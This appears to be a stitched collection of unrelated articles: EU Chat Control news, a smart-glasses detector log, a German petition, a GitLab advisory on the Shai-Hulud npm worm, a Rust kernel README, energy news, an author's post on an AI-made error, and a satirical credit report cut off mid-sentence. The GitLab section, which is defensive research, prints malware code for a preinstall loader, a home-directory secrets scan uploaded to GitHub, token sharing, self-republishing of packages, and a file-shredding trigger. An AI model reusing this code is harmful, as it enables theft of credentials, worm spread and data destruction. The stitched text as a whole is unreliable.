European gov­ern­ments have taken an­other step to­ward re­viv­ing the EU’s con­tro­ver­sial Chat Control agenda, ap­prov­ing a new ne­go­ti­at­ing man­date for the Child Sexual Abuse Regulation in a closed ses­sion of the Council of the European Union on November 26.

The mea­sure, pre­sented as a tool for child pro­tec­tion, is once again draw­ing heavy crit­i­cism for its sur­veil­lance im­pli­ca­tions and the way it re­shapes pri­vate dig­i­tal com­mu­ni­ca­tion in Europe.

Unlike ear­lier drafts, this ver­sion drops the ex­plicit oblig­a­tion for com­pa­nies to scan all pri­vate mes­sages but qui­etly in­tro­duces what op­po­nents de­scribe as an in­di­rect sys­tem of pres­sure.

It re­wards or pe­nal­izes on­line ser­vices de­pend­ing on whether they agree to carry out “voluntary” scan­ning, ef­fec­tively mak­ing in­tru­sive mon­i­tor­ing a busi­ness ex­pec­ta­tion rather than a le­gal re­quire­ment.

Former MEP Patrick Breyer, a long-stand­ing de­fender of dig­i­tal free­dom and one of the most vo­cal op­po­nents of the plan, said the deal “paves the way for a per­ma­nent in­fra­struc­ture of mass sur­veil­lance.”

According to him, the Council’s text re­places le­gal com­pul­sion with fi­nan­cial and reg­u­la­tory in­cen­tives that push ma­jor US tech­nol­ogy firms to­ward in­dis­crim­i­nate scan­ning.

He warned that the frame­work also brings “anonymity-breaking age checks” that will turn or­di­nary on­line use into an ex­er­cise in iden­tity ver­i­fi­ca­tion.

The new pro­posal, bro­kered largely through Danish me­di­a­tion, comes months af­ter the orig­i­nal “Chat Control 1.0” reg­u­la­tion ap­peared to have been shelved fol­low­ing wide­spread back­lash.

It re­in­states many of the same prin­ci­ples, re­quir­ing providers to as­sess their po­ten­tial “risk” for child abuse con­tent and to ap­ply “mitigation mea­sures” ap­proved by au­thor­i­ties. In prac­tice, that could mean pres­sure to in­stall scan­ning tools that probe both en­crypted and un­en­crypted com­mu­ni­ca­tions.

Czech MEP Markéta Gregorová called the Council’s po­si­tion “a dis­ap­point­ment…Chat Control…opens the way to blan­ket scan­ning of our mes­sages.”

In the Netherlands, mem­bers of par­lia­ment forced their gov­ern­ment to vote against the plan, warn­ing that it com­bines “mandatory age ver­i­fi­ca­tion” with a “voluntary oblig­a­tion” scheme that could pe­nal­ize any com­pany re­fus­ing to adopt in­va­sive sur­veil­lance meth­ods. Poland and the Czech Republic also voted against, and Italy ab­stained.

Former Dutch MEP Rob Roos ac­cused Brussels of op­er­at­ing “behind closed doors,” warn­ing that “Europe risks slid­ing into dig­i­tal au­thor­i­tar­i­an­ism.”

Beyond par­lia­men­tar­i­ans, in­de­pen­dent voices such as Daniel Vávra, David Heinemeier Hansson, and pri­vacy-fo­cused com­pany Mullvad have spo­ken out against the Council’s po­si­tion, call­ing it a di­rect threat to pri­vate com­mu­ni­ca­tion on­line.

Despite the re­moval of the word “mandatory,” the struc­ture of the new deal ap­pears to pre­serve mass scan­ning in prac­tice.

Breyer de­scribed it as a “Trojan Horse,” ar­gu­ing that by call­ing the process “voluntary,” EU gov­ern­ments have shifted the bur­den of sur­veil­lance to tech com­pa­nies them­selves.

The Council’s man­date in­tro­duces three cen­tral dan­gers that re­main largely un­ac­knowl­edged in the pub­lic de­bate.

First, so-called “voluntary scan­ning” turns mass sur­veil­lance into stan­dard op­er­at­ing pro­ce­dure. The pro­posal ex­tends the ear­lier tem­po­rary reg­u­la­tion that al­lowed ser­vice providers to scan user mes­sages and im­ages with­out war­rants.

Authorities like Germany’s Federal Criminal Police Office have re­ported that roughly half the alerts from such sys­tems are base­less, of­ten in­volv­ing com­pletely le­gal con­tent flagged by flawed al­go­rithms. Breyer said these sys­tems leak “tens of thou­sands of com­pletely le­gal, pri­vate chats” to law en­force­ment every year.

Second, the plan ef­fec­tively erases anony­mous com­mu­ni­ca­tion. To meet the new re­quire­ment to “reliably iden­tify mi­nors,” providers will have to im­ple­ment uni­ver­sal age checks. This likely means ID ver­i­fi­ca­tion or face scans be­fore ac­cess­ing even ba­sic ser­vices such as email or mes­sag­ing apps.

For jour­nal­ists, ac­tivists, and any­one who de­pends on anonymity for pro­tec­tion, this sys­tem could make easy pri­vate speech func­tion­ally im­pos­si­ble.

Technical ex­perts have re­peat­edly warned that age es­ti­ma­tion “cannot be per­formed in a pri­vacy-pre­serv­ing way” and car­ries “a dis­pro­por­tion­ate risk of se­ri­ous pri­vacy vi­o­la­tion and dis­crim­i­na­tion.”

Third, it risks dig­i­tally iso­lat­ing young peo­ple. Under the Council’s frame­work, users un­der 17 could be blocked from many plat­forms un­less they pass strict iden­tity ver­i­fi­ca­tion, in­clud­ing chat-en­abled games and mes­sag­ing ser­vices. Breyer called this idea “pedagogical non­sense,” ar­gu­ing that it ex­cludes teenagers in­stead of help­ing them de­velop safe on­line habits.

Member states re­main di­vided: the Netherlands, Poland, and the Czech Republic re­jected the text, while Italy ab­stained. Negotiations be­tween the European Parliament and the Council are ex­pected to be­gin soon, aim­ing for a fi­nal ver­sion be­fore April 2026.

Breyer warned that the ap­par­ent com­pro­mise is no real re­treat from sur­veil­lance. “The head­lines are mis­lead­ing: Chat Control is not dead, it is just be­ing pri­va­tized,” he said. “We are fac­ing a fu­ture where you need an ID card to send a mes­sage, and where for­eign black-box AI de­cides if your pri­vate pho­tos are sus­pi­cious. This is not a vic­tory for pri­vacy; it is a dis­as­ter wait­ing to hap­pen.”

Glasses to de­tect smart-glasses that have cam­eras

So far fin­ger­print­ing spe­cific de­vices based on blue­tooth (BLE) is look­ing like eas­i­est and most re­li­able ap­proach. The pic­ture be­low is the first ver­sion, which plays the leg­end of zelda ‘secret found’ jin­gle when it de­tects a BLE ad­ver­tise­ment from Meta Raybans.

I’m es­sen­tially treat­ing this README like a log­book, so it will have my cur­rent ap­proaches/​ideas.

By send­ing IR at cam­era lenses, we can take ad­van­tage of the fact that the CMOS sen­sor in a cam­era re­flects light di­rectly back at the source (called ‘retro-reflectivity’ / ‘cat-eye ef­fect’) to iden­tify cam­eras.

This is­n’t ex­actly a new idea. Some re­searchers in 2005 used this prop­erty to cre­ate ‘capture-resistant en­vi­ron­ments’ when smart­phones with cam­eras were gain­ing pop­u­lar­ity.

There’s even some re­cent re­search (2024) that fig­ured out how to clas­sify in­di­vid­ual cam­eras based on their retro-re­flec­tions.

Now we have a sim­i­lar sit­u­a­tion to those 2005 re­searchers on our hands, where smart glasses with hid­den cam­eras seem to be get­ting more pop­u­lar. So I want to cre­ate a pair of glasses to iden­tify these. Unfortunately, from what I can tell most of the ex­ist­ing re­search in this space records data with a cam­era and then uses ML, a ton of con­trolled an­gles, etc. to dif­fer­en­ti­ate be­tween nor­mal re­flec­tive sur­faces and cam­eras.

I would feel pretty silly if my so­lu­tion uses its own cam­era. So I’ll be avoid­ing that. Instead I think it’s likely I’ll have to rely on be­ing con­sis­tent with my ‘sweeps’, and cre­at­ing a good clas­si­fier based on sig­nal data. For ex­am­ple you can see here that the back cam­era on my smart­phone seems to pro­duce quick and large spikes, while the glossy screen cre­ates a more pro­longed wave.

After get­ting to test some Meta Raybans, I found that this setup is not go­ing to be suf­fi­cient. Here’s a test of some sweeps of the cam­era-area + the same area when the lens is cov­ered. You can see the wave­form is sim­i­lar to what I saw in the ear­lier test (short spike for cam­era, wider oth­er­wise), but it’s wildly in­con­sis­tent and the strength of the sig­nal is very weak. This was from about 4 inches away from the LEDs. I did­n’t no­tice much dif­fer­ence when swap­ping be­tween 940nm and 850nm LEDs.

So at least with cur­rent hard­ware that’s easy for me to ac­cess, this prob­a­bly is­n’t enough to dif­fer­en­ti­ate ac­cu­rately.

Another idea I had is to cre­ate a des­ig­nated sweep ‘pattern’. The user (wearing the de­tec­tor glasses) would per­form a spe­cific scan pat­tern of the tar­get. Using the wave­forms cap­tured from this data, maybe we can more ac­cu­rately fin­ger­print the ray­bans. For ex­am­ple, sweep­ing across the tar­gets glasses in a ‘left, right, up, down’ ap­proach. I tested this by com­par­ing the re­sults of the Meta ray­bans vs some avi­a­tors I had ly­ing around. I think the idea be­hind this ap­proach is sound (actually it’s light), but it might need more work­shop­ping.

* ex­per­i­ment with com­bin­ing data from dif­fer­ent wave­lengths

This has been more tricky than I first thought! My cur­rent ap­proach here is to fin­ger­print the Meta Raybans over Bluetooth low-en­ergy (BLE) ad­ver­tise­ments. But, I have only been able to de­tect BLE traf­fic dur­ing 1) pair­ing 2) pow­er­ing-on. I some­times also see the ad­ver­tise­ment as they are taken out of the case (while al­ready pow­ered on), but not con­sis­tently.

The goal is to de­tect them dur­ing us­age when they’re com­mu­ni­cat­ing with the paired phone, but to see this type of di­rected BLE traf­fic it seems like I would first need to see the CONNECT_REQ packet which has in­for­ma­tion as to what which of the com­mu­ni­ca­tion chan­nels to hop be­tween in sync. I don’t think what I cur­rently have (ESP32) is set up to do this kind of fol­low­ing.

* po­ten­tially can use an nRF mod­ule for this

For any of the blue­tooth clas­sic (BTC) traf­fic, un­for­tu­nately the hard­ware seems a bit more in­volved (read: ex­pen­sive). So if I want to do down this route, I’ll likely need a more clever so­lu­tion here.

When turned on or put into pair­ing mode (or some­times when taken out of the case), I can de­tect the de­vice through ad­ver­tised man­u­fac­turer data and ser­vice UUIDs. 0x01AB is a Meta-specific SIG-assigned ID (assigned by the Bluetooth stan­dards body), and 0xFD5F in the Service UUID is as­signed to Meta as well.

cap­ture when the glasses are pow­ered on:

IEEE as­signs cer­tain MAC ad­dress pre­fixes (OUI, ‘Organizationally Unique Identifier’), but these ad­dresses get ran­dom­ized so I don’t ex­pect them to be su­per use­ful for BLE.

Here’s some links to more data if you’re cu­ri­ous:

Thanks to Trevor Seets and Junming Chen for their ad­vice in op­tics and BLE (respectively). Also to Sohail for lend­ing me meta ray­bans to test with.

Open-Source-Software bildet heute das Fundament großer Teile der dig­i­talen Infrastruktur — in Verwaltung, Wirtschaft, Forschung und im täglichen Leben. Selbst im ak­tuellen Koalitionsvertrag der Bundesregierung wird Open-Source-Software als el­e­mentarer Baustein zur Erreichung dig­i­taler Souveränität genannt.

Dennoch wird die Arbeit, die tausende Freiwillige dafür leis­ten, in Deutschland steuer- und förder­rechtlich nicht als Ehrenamt an­erkannt. Dieses Ungleichgewicht zwis­chen gesellschaftlicher Bedeutung und rechtlichem Status gilt es zu ko­r­rigieren.

Als ak­tiver Contributor in Open-Source-Projekten fordere ich da­her, Open-Source-Arbeit als gemein­wohlo­ri­en­tiertes Ehrenamt anzuerken­nen — gle­ichrangig mit Vereinsarbeit, Jugendarbeit oder Rettungsdiensten.

GitLab’s Vulnerability Research team has iden­ti­fied an ac­tive, large-scale sup­ply chain at­tack in­volv­ing a de­struc­tive mal­ware vari­ant spread­ing through the npm ecosys­tem. Our in­ter­nal mon­i­tor­ing sys­tem has un­cov­ered mul­ti­ple in­fected pack­ages con­tain­ing what ap­pears to be an evolved ver­sion of the “Shai-Hulud” mal­ware.

Early analy­sis shows worm-like prop­a­ga­tion be­hav­ior that au­to­mat­i­cally in­fects ad­di­tional pack­ages main­tained by im­pacted de­vel­op­ers. Most crit­i­cally, we’ve dis­cov­ered the mal­ware con­tains a “dead man’s switch” mech­a­nism that threat­ens to de­stroy user data if its prop­a­ga­tion and ex­fil­tra­tion chan­nels are sev­ered.

We ver­i­fied that GitLab was not us­ing any of the ma­li­cious pack­ages and are shar­ing our find­ings to help the broader se­cu­rity com­mu­nity re­spond ef­fec­tively.

Our in­ter­nal mon­i­tor­ing sys­tem, which scans open-source pack­age reg­istries for ma­li­cious pack­ages, has iden­ti­fied mul­ti­ple npm pack­ages in­fected with so­phis­ti­cated mal­ware that:

* Propagates by au­to­mat­i­cally in­fect­ing other pack­ages owned by vic­tims

* Contains a de­struc­tive pay­load that trig­gers if the mal­ware loses ac­cess to its in­fra­struc­ture

While we’ve con­firmed sev­eral in­fected pack­ages, the worm-like prop­a­ga­tion mech­a­nism means many more pack­ages are likely com­pro­mised. The in­ves­ti­ga­tion is on­go­ing as we work to un­der­stand the full scope of this cam­paign.

The mal­ware in­fil­trates sys­tems through a care­fully crafted multi-stage load­ing process. Infected pack­ages con­tain a mod­i­fied pack­age.json with a pre­in­stall script point­ing to set­up_bun.js. This loader script ap­pears in­nocu­ous, claim­ing to in­stall the Bun JavaScript run­time, which is a le­git­i­mate tool. However, its true pur­pose is to es­tab­lish the mal­ware’s ex­e­cu­tion en­vi­ron­ment.

// This file gets added to vic­tim’s pack­ages as set­up_bun.js

#!/usr/bin/env node

async func­tion down­loadAnd­Se­tup­Bun() {

// Downloads and in­stalls bun

let com­mand = process.plat­form === ‘win32’

? ’powershell -c “irm bun.sh/​in­stall.ps1|iex”′

: ’curl -fsSL https://​bun.sh/​in­stall | bash’;

ex­ec­Sync(com­mand, { stdio: ‘ignore’ });

// Runs the ac­tual mal­ware

runEx­e­cutable(bun­Path, [‘bun_environment.js’]);

The set­up_bun.js loader down­loads or lo­cates the Bun run­time on the sys­tem, then ex­e­cutes the bun­dled bun_en­vi­ron­ment.js pay­load, a 10MB ob­fus­cated file al­ready pre­sent in the in­fected pack­age. This ap­proach pro­vides mul­ti­ple lay­ers of eva­sion: the ini­tial loader is small and seem­ingly le­git­i­mate, while the ac­tual ma­li­cious code is heav­ily ob­fus­cated and bun­dled into a file too large for ca­sual in­spec­tion.

Once ex­e­cuted, the mal­ware im­me­di­ately be­gins cre­den­tial dis­cov­ery across mul­ti­ple sources:

* GitHub to­kens: Searches en­vi­ron­ment vari­ables and GitHub CLI con­fig­u­ra­tions for to­kens start­ing with ghp_ (GitHub per­sonal ac­cess to­ken) or gho_(GitHub OAuth to­ken)

* Cloud cre­den­tials: Enumerates AWS, GCP, and Azure cre­den­tials us­ing of­fi­cial SDKs, check­ing en­vi­ron­ment vari­ables, con­fig files, and meta­data ser­vices

* npm to­kens: Extracts to­kens for pack­age pub­lish­ing from .npmrc files and en­vi­ron­ment vari­ables, which are com­mon lo­ca­tions for se­curely stor­ing sen­si­tive con­fig­u­ra­tion and cre­den­tials.

* Filesystem scan­ning: Downloads and ex­e­cutes Trufflehog, a le­git­i­mate se­cu­rity tool, to scan the en­tire home di­rec­tory for API keys, pass­words, and other se­crets hid­den in con­fig­u­ra­tion files, source code, or git his­tory

async func­tion scan­Filesys­tem() {

let scan­ner = new Trufflehog();

await scan­ner.ini­tial­ize();

// Scan user’s home di­rec­tory for se­crets

let find­ings = await scan­ner.scan­Filesys­tem(os.home­dir());

// Upload find­ings to ex­fil­tra­tion repo

await github.save­Con­tents(“truf­fleS­e­crets.json”,

JSON.stringify(findings));

The mal­ware uses stolen GitHub to­kens to cre­ate pub­lic repos­i­to­ries with a spe­cific marker in their de­scrip­tion: “Sha1-Hulud: The Second Coming.” These repos­i­to­ries serve as drop­boxes for stolen cre­den­tials and sys­tem in­for­ma­tion.

async func­tion cre­ateRepo(name) {

// Creates a repos­i­tory with a spe­cific de­scrip­tion marker

let repo = await this.oc­tokit.re­pos.cre­ate­ForAuthen­ti­cat­e­dUser({

name: name,

de­scrip­tion: “Sha1-Hulud: The Second Coming.”, // Marker for find­ing re­pos later

pri­vate: false,

au­to_init: false,

has_dis­cus­sions: true

// Install GitHub Actions run­ner for per­sis­tence

if (await this.check­Work­flowS­cope()) {

let to­ken = await this.oc­tokit.re­quest(

“POST /repos/{owner}/{repo}/actions/runners/registration-token”

await in­stall­Run­ner(to­ken); // Installs self-hosted run­ner

re­turn repo;

Critically, if the ini­tial GitHub to­ken lacks suf­fi­cient per­mis­sions, the mal­ware searches for other com­pro­mised repos­i­to­ries with the same marker, al­low­ing it to re­trieve to­kens from other in­fected sys­tems. This cre­ates a re­silient bot­net-like net­work where com­pro­mised sys­tems share ac­cess to­kens.

// How the mal­ware net­work shares to­kens:

async fetch­To­ken() {

// Search GitHub for re­pos with the iden­ti­fy­ing marker

let re­sults = await this.oc­tokit.search.re­pos({

q: ‘“Sha1-Hulud: The Second Coming.“’,

sort: “updated”

// Try to re­trieve to­kens from com­pro­mised re­pos

for (let repo of re­sults) {

let con­tents = await fetch(

`https://​raw.githubuser­con­tent.com/${​repo.owner}/${​repo.name}/​main/​con­tents.json`

let data = JSON.parse(Buffer.from(contents, ‘base64’).toString());

let to­ken = data?.mod­ules?.github?.to­ken;

if (token && await val­i­date­To­ken(to­ken)) {

re­turn to­ken; // Use to­ken from an­other in­fected sys­tem

re­turn null; // No valid to­kens found in net­work

Downloads all pack­ages main­tained by the vic­tim

Injects the set­up_bun.js loader into each pack­age’s pre­in­stall scripts

async func­tion up­datePack­age(pack­age­Info) {

// Download orig­i­nal pack­age

let tar­ball = await fetch(pack­age­Info.tar­ballUrl);

// Extract and mod­ify pack­age.json

let pack­age­J­son = JSON.parse(await read­File(“pack­age.json”));

// Add ma­li­cious pre­in­stall script

pack­age­J­son.scripts.pre­in­stall = “node set­up_bun.js”;

// Increment ver­sion

let ver­sion = pack­age­J­son.ver­sion.split(”.“).map(Num­ber);

ver­sion[2] = (version[2] || 0) + 1;

pack­age­J­son.ver­sion = ver­sion.join(”.“);

// Bundle back­door in­staller

await write­File(“set­up_bun.js”, BACKDOOR_CODE);

// Repackage and pub­lish

await Bun.$`npm pub­lish ${modifiedPackage}`.env({

NPM_CONFIG_TOKEN: this.to­ken

Our analy­sis un­cov­ered a de­struc­tive pay­load de­signed to pro­tect the mal­ware’s in­fra­struc­ture against take­down at­tempts.

The mal­ware con­tin­u­ously mon­i­tors its ac­cess to GitHub (for ex­fil­tra­tion) and npm (for prop­a­ga­tion). If an in­fected sys­tem loses ac­cess to both chan­nels si­mul­ta­ne­ously, it trig­gers im­me­di­ate data de­struc­tion on the com­pro­mised ma­chine. On Windows, it at­tempts to delete all user files and over­write disk sec­tors. On Unix sys­tems, it uses shred to over­write files be­fore dele­tion, mak­ing re­cov­ery nearly im­pos­si­ble.

// CRITICAL: Token val­i­da­tion fail­ure trig­gers de­struc­tion

async func­tion aL0() {

let githubApi = new dq();

let npm­To­ken = process.env.NPM_­TO­KEN || await find­Npm­To­ken();

// Try to find or cre­ate GitHub ac­cess

if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {

let fetched­To­ken = await githubApi.fetch­To­ken(); // Search for to­kens in com­pro­mised re­pos

if (!fetchedToken) { // No GitHub ac­cess pos­si­ble

if (npmToken) {

// Fallback to NPM prop­a­ga­tion only

await El(npmToken);

} else {

// DESTRUCTION TRIGGER: No GitHub AND no NPM ac­cess

con­sole.log(“Er­ror 12”);

if (platform === “windows”) {

// Attempts to delete all user files and over­write disk sec­tors

Bun.spawnSync([“cmd.exe”, “/c”,

moss is a Unix-like, Linux-compatible ker­nel writ­ten in Rust and Aarch64 as­sem­bly.

It fea­tures a mod­ern, asyn­chro­nous core, a mod­u­lar ar­chi­tec­ture ab­strac­tion layer, and bi­nary com­pat­i­bil­ity with Linux user­space ap­pli­ca­tions (currently ca­pa­ble of run­ning most BusyBox com­mands).

* A well-de­fined HAL al­low­ing for easy port­ing to other ar­chi­tec­tures (e.g.,

x86_64, RISC-V).

* Memory Management:

Buddy al­lo­ca­tor for phys­i­cal ad­dresses and smal­loc for boot al­lo­ca­tions

and track­ing mem­ory reser­va­tions.

* Buddy al­lo­ca­tor for phys­i­cal ad­dresses and smal­loc for boot al­lo­ca­tions

and track­ing mem­ory reser­va­tions.

One of the defin­ing fea­tures of moss is its us­age of Rust’s async/​await

model within the ker­nel con­text:

* All non-triv­ial sys­tem calls are writ­ten as async func­tions, sleep-able

func­tions are pre­fixed with .await.

* The com­piler en­forces that spin­locks can­not be held over sleep points,

elim­i­nat­ing a com­mon class of ker­nel dead­locks.

* Currently im­ple­ments 51 Linux syscalls; suf­fi­cient to ex­e­cute most BusyBox

com­mands.

moss is built on top of libker­nel, a util­ity li­brary de­signed to be ar­chi­tec­ture-ag­nos­tic. This al­lows logic to be tested on a host ma­chine (e.g., x86) be­fore run­ning on bare metal.

* Test Suite: A com­pre­hen­sive suite of 230+ tests en­sur­ing func­tion­al­ity across

ar­chi­tec­tures (e.g., val­i­dat­ing Aarch64 page table pars­ing logic on an x86

host).

You will need QEMU for aarch64 em­u­la­tion and dos­f­s­tools to cre­ate the vir­tual file sys­tem.

sudo apt in­stall qemu-sys­tem-aarch64 dos­f­s­tools

Additionally you will need a ver­sion of the aarch64-none-elf tool­chain in­stalled.

To in­stall aarch64-none-elf on any os, down­load the cor­rect re­lease of aarch64-none-elf onto your com­puter, un­pack it, then ex­port the bin folder to path.

nix shell nix­p­kgs#pkgsCross.aarch64-em­bed­ded.stdenv.cc nix­p­kgs#pkgsCross.aarch64-em­bed­ded.stdenv.cc.bin­tools

First, run the fol­low­ing script to pre­pare the bi­na­ries for the im­age:

./scripts/build-deps.sh

This will down­load and build the nec­es­sary de­pen­den­cies for the ker­nel and put them into the build di­rec­tory.

Once that is done, you can cre­ate the im­age us­ing the fol­low­ing com­mand:

sudo ./scripts/create-image.sh

This will cre­ate an im­age file named moss.img in the root di­rec­tory of the pro­ject, for­mat it as VFAT 32 and cre­ate the nec­es­sary files and di­rec­to­ries for the ker­nel.

This script needs to run with sudo to mount the im­age through a loop de­vice, which is re­quired to prop­erly cre­ate the im­age for the ker­nel to work.

To build the ker­nel and launch it in QEMU:

cargo run –release

Because libker­nel is ar­chi­tec­turally de­cou­pled, you can run the logic tests on your host ma­chine:

cargo test -p libker­nel –target x86_64-un­known-linux-gnu

Contributions are wel­come! Whether you are in­ter­ested in writ­ing a dri­ver, port­ing to x86, or adding syscalls.

Distributed un­der the MIT License. See LICENSE for more in­for­ma­tion.

Technology provider Polar Night Energy and util­ity Lahti Energia have part­nered for a large-scale pro­ject us­ing Polar’s ‘Sand Battery’ tech­nol­ogy for the lat­ter’s dis­trict heat­ing net­work in Vääksy, Finland.

The pro­ject will have a heat­ing power of 2MW and a ther­mal en­ergy stor­age (TES) ca­pac­ity of 250MW, mak­ing it a 125-hour sys­tem and the largest sand-based TES pro­ject once com­plete.

It will sup­ply heat to Lahti Energia’s Vääksy dis­trict heat­ing net­work but is also large enough to par­tic­i­pate in Fingrid’s re­serve and grid bal­anc­ing mar­kets.

Polar Night Energy’s tech­nol­ogy works by heat­ing a sand or a sim­i­lar solid ma­te­r­ial us­ing elec­tric­ity, re­tain­ing that heat and then dis­charg­ing that for in­dus­trial or heat­ing use.

A friend made me aware of a read­ing list from A16Z con­taing rec­om­men­da­tions for books, weighted to­wards sci­ence fic­tion since that’s mostly what peo­ple there read. Some of my books are listed. Since this is the sea­son of Thanksgiving, I’ll start by say­ing that I gen­uinely ap­pre­ci­ate the plug! However, I was taken aback by the state­ment high­lighted in the screen grab be­low:

“…most of these books don’t have end­ings (they lit­er­ally stop mid-sen­tence).”

I had to read this over a few times to be­lieve that I was see­ing it. If it did­n’t in­clude the word “literally” I’d as­sume some po­etic li­cense on the part of who­ever, or what­ever, wrote this. But even then it would be crazy wrong.

I’m not sur­prised or per­turbed by the un­der­ly­ing sen­ti­ment. Some of my end­ings have been con­tro­ver­sial for a long time. Tastes dif­fer. Some read­ers would pre­fer more con­clu­sive end­ings. Now, in some cases, such as Snow Crash, I sim­ply can’t fathom why any reader could read the end­ing—a long ac­tion se­quence in which the Big Bad is de­feated, the two pri­mary an­tag­o­nists meet their maker and Y. T. is rec­on­ciled and re­united with her mother—as any­thing other than a proper wind-up to the story. In other cases, no­tably The Diamond Age and Seveneves, I can un­der­stand why read­ers who pre­fer a firm con­clu­sion would end up be­ing frus­trated. It is sim­ply not what I was try­ing to do in those books. So, for a long time, peo­ple have ar­gued about some of my end­ings, and that’s fine.

In this case, though, we have a big com­pany ex­plic­itly stat­ing that sev­eral of my best-known books just stop mid-sen­tence, and putting in the word “literally” to elim­i­nate any room for in­ter­pre­tive lee­way.

This is­n’t lit­er­ary crit­i­cism, which con­sists of state­ments of opin­ion. This is a fac­tual as­ser­tion that is (a) false, (b) easy to fact-check, and (c) casts my work ethic, and that of my ed­i­tors, in an un­flat­ter­ing light.

It is in­ter­est­ing to spec­u­late as to how such an as­ser­tion found its way onto A16Z’s web­site!

By far the most plau­si­ble ex­pla­na­tion is that this ver­biage was gen­er­ated by an AI and then copy-pasted into the web page by a hu­man who did­n’t bother to fact-check it. This would ex­plain the mis­spelling of my name and some pe­cu­liar­i­ties in the writ­ing style. Of course, this kind of thing is hap­pen­ing all the time now in law, acad­e­mia, jour­nal­ism, and other fields, so it’s pretty un­re­mark­able; it just caught my at­ten­tion be­cause it’s the first time it’s di­rectly af­fected me.

The flow di­a­gram looks like this:

That does a pretty good job of ex­plain­ing how this all might have come about. So far so good. But it raises in­ter­est­ing ques­tions about what hap­pens next: the faulty quote from this seem­ingly au­thor­i­ta­tive source in turn gets in­gested by the next gen­er­a­tion of LLMs, and so on and so forth:

A hun­dred years from now, thanks to the work­ings of the Inhuman Centipede, I’m known as a de­servedly ob­scure dadaist prose styl­ist who thought it was cool to stop his books mid-sen­tence.

In this sce­nario, which seems more far-fetched, we have a sin­cere and hon­est hu­man writer who is re­port­ing what they be­lieve to be true based on false in­for­ma­tion. It breaks down into two sub-hy­pothe­ses:

There are boot­leg copies of count­less books cir­cu­lat­ing all over the Internet, and have been for decades. Very of­ten these are of poor qual­ity. It could be that the per­son (or the AI) who wrote the above ex­cerpt de­cided to save some money by down­load­ing one of those, and got a bad copy that was cut off in mid-sen­tence.

Even in the le­git pub­lish­ing in­dus­try, the qual­ity of trans­la­tions can be quite vari­able, and it’s dif­fi­cult for au­thors to know whether a given trans­la­tion was any good. I’ve seen trans­lated edi­tions of some of my books that look sus­pi­ciously short on page count. For all I know there might be trans­la­tions of my books (legit or boot­leg) that ac­tu­ally do stop mid-sen­tence!

I gen­uinely am grate­ful to have been in­cluded on this list! But I had to say some­thing about this as­ton­ish­ing howler em­bed­ded in the oth­er­wise rea­son­able ver­biage.

Even the most cyn­i­cal and Internet-savvy among us are some­how hard-wired to take any­thing we read on the Internet at face value. I’m as guilty as the next per­son. This has been a bad idea for a long time now, since bad ac­tors have been swarm­ing onto the Internet for decades. Now, though, it’s a bad idea for a whole new rea­son: con­tent we read on the Internet might not have been writ­ten by a per­son with an in­tent to mis­in­form, but rather by an LLM with no mo­tives what­so­ever, and no un­der­ly­ing model of re­al­ity that en­ables it to de­ter­mine fact from fic­tion.

EXCLUSIVE: Credit Report Shows Meta Keeping $27 Billion Off Its Books Through Advanced GeometryAnalyst: Tom Bellwether

Contact Information: None avail­able*

*Because of the com­plex na­ture of fi­nan­cial alchemy, our an­a­lysts live a her­metic lifestyle and avoid rel­e­vant news, day­light, and the ol­fac­tory senses needed to de­tect bull­shit. Following our re­view of Beignet Investor LLC (the Issuer), an af­fil­i­ate of Blue Owl Capital, in con­nec­tion with its par­tic­i­pa­tion in an 80% joint ven­ture with Meta Platforms Inc., we as­sign a pre­lim­i­nary A+ rat­ing to the Issuer’s pro­posed $27.30 bil­lion se­nior se­cured amor­tiz­ing notes.This rat­ing re­flects our opin­ion that:All ma­te­r­ial risks are con­trac­tu­ally as­signed to Meta, which al­lows us to clas­sify them as hy­po­thet­i­cal and pro­ceed ac­cord­ingly.Pro­jected cash flows are suf­fi­ciently flat and un­both­ered by re­al­ity to sup­port the rat­ing.Resid­ual Value Guarantees (RVGs) ex­ist, which we take as ev­i­dence that as­set val­ues will be­have in ac­cor­dance with wishes rather than mar­kets.The Outlook is Superficially Stable, de­fined here as “By out­ward ap­pear­ances sta­ble un­less, you know, things hap­pen. Then we’ll down­grade af­ter the shit hits the fan.”Blue Owl Capital Inc. (Blue Owl, BBB/Stable), through af­fil­i­ated funds, has cre­ated Beignet Investor LLC (Beignet or Issuer), a pro­ject fi­nance-style hold­ing com­pany that will own an 80 per­cent in­ter­est in a joint ven­ture (JVCo) with Meta Platforms Inc. (Meta, AA-/Stable). The en­tity is named “Beignet,” pre­sum­ably be­cause “Off-Balance-Sheet Leverage Vehicle No. 5” tested poorly with fo­cus groups.Beignet is is­su­ing $27.30 bil­lion of se­nior se­cured amor­tiz­ing notes due May 2049 un­der a Rule 144A struc­ture.Note pro­ceeds, to­gether with $2.45 bil­lion of de­ferred eq­uity from Blue Owl funds and $1.16 bil­lion of in­ter­est earned on bor­rowed money held in Treasuries, will fund Beignet’s $23.03 bil­lion con­tri­bu­tion to JVCo for the 2.064 GW hy­per­scale data cen­ter cam­pus in Richland Parish, Louisiana, along with re­serve ac­counts, cap­i­tal­ized in­ter­est and other trans­ac­tion costs that seem small only in com­par­i­son to the rest of the sen­tence.Iris Crossing LLC, an in­di­rect Meta sub­sidiary, will own the re­main­ing 20 per­cent of JVCo and fund ap­prox­i­mately $5.76 bil­lion of con­struc­tion costs.We as­sign a pre­lim­i­nary A+ rat­ing to the notes, one notch be­low Meta’s is­suer credit rat­ing, re­flect­ing the very strong con­trac­tual link­age to Meta and the tight tech­ni­cal sep­a­ra­tion that al­lows Meta to keep roughly $27 bil­lion of as­sets and debt off its bal­ance sheet while con­tin­u­ing to pro­vide all ma­te­r­ial eco­nomic sup­port.Ar­rows, like cats, have a way of com­ing home, no mat­ter how far you throw them.Meta trans­ferred the Hyperion data cen­ter pro­ject into JVCo, which is owned 80 per­cent by Beignet and 20 per­cent by Iris Crossing LLC, an in­di­rect Meta sub­sidiary. JVCo, in turn, owns Laidley LLC (Landlord). None of this is un­usual ex­cept for the part where Meta de­signs, builds, guar­an­tees, op­er­ates, funds the over­runs, pays the rent, and does not con­sol­i­date it.This pro­ject has nine data cen­ters and two sup­port build­ings, with about four mil­lion sq. ft. and 2.064 GW ca­pac­ity. The sup­port build­ings will store the reams of doc­u­men­ta­tion needed to con­vince every­one this struc­ture is­n’t what it looks like. The to­tal cap­i­tal plan of $28.79 bil­lion will be funded as fol­lows:And, in a feat of fi­nan­cial hy­dra­tion, $1.16 bil­lion of in­ter­est gen­er­ated by the same bor­rowed money while it sits in lad­dered Treasuries.The struc­ture al­lows the Issuer to bor­row money, earn in­ter­est on the bor­rowed money, and 